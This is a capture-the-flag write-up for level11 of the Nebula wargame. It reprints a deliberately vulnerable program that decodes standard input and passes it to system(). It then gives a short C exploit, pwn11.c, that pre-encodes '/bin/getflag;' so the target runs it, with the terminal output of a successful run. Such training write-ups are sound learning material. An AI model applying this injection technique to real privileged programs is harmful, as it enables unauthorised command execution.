In level11 of Nebula wargame, we have a vulnerable program that processes standard input and executes a shell command (extracted from the standard input.) The source code of flag11 is provided.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv(“TEMP”);
pid = getpid();
asprintf(path, “%s/%d.%c%c%c%c%c%c”, tmp, pid,
‘A’ + (random() % 26), ‘0’ + (random() % 10),
‘a’ + (random() % 26), ‘A’ + (random() % 26),
‘0’ + (random() % 10), ‘a’ + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
** unsigned int key;**
** int i;**
** key = length & 0xff;**
** for(i = 0; i < length; i++) {**
buffer[i] ^= key;
key -= buffer[i];
** }**
** setgid(getgid());**
** setuid(getuid());**
** system(buffer);**
}
#define CL “Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, “reading from stdin”);
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, “invalid header”);
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, “fread length”);
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf(“blue = %d, length = %d, “, blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf(“pink = %d\n”, pink);
if(pink <= 0) {
err(1, “fread fail(blue = %d, length = %d)”, blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd,
0);
if(mem == MAP_FAILED) {
err(1, “mmap”);
}
process(mem, length);
}
}
There are some restrictions on the standard input we have to provide. First, it should start with “Content-Length: "
if(strncmp(line, CL, strlen(CL)) != 0) {errx(1, “invalid header”);}
Then, atoi() is applied on the following content on the same line.
length = atoi(line + strlen(CL));
and depending on the value of length ( < 1024), the code will take one of two routes. The challenging part is that the input we provide won’t be executed as is but will go through some modifications.
level11@nebula:~$ python -c ‘print “Content-Length: 1024\n”+“A”*1023’ | ../flag11/flag11blue = 1024, length = 1024, pink = 1024sh: $’A\376\200’: command not found
Or in a simpler way: “input” => “rubbish”. To exploit this process we should provide an input that when given to process() would be converted into something meaningful e.g “exploit_code” => “/bin/getflag”.Let’s do the reverse operation. pwn11.c will generate an output that contains “Content-Length: 1024\n_payload_”. When payload is given to process(), it will be encoded into “/bin/getflag;rubbish” The rubbish part is not really interesting to us.
**level11@nebula:~$ cat pwn11.c **
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buffer[1024];
unsigned int key;
int length = 1024;
int i;
char *header = “Content-Length: 1024\n”;
strncpy(buffer, “/bin/getflag;”, 13);
write(1, header, 21);
read(stdin, buffer, length);
key = length & 0xff;
for (i = 0; i < 1024; i++) {
buffer[i] ^= key;
key -= buffer[i] ^ key;
}
write(1, buffer, length);
}
**level11@nebula:~$ gcc pwn11.c
level11@nebula:~$ ./a.out | ../flag11/flag11 **
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
And that is it, +1 level-up!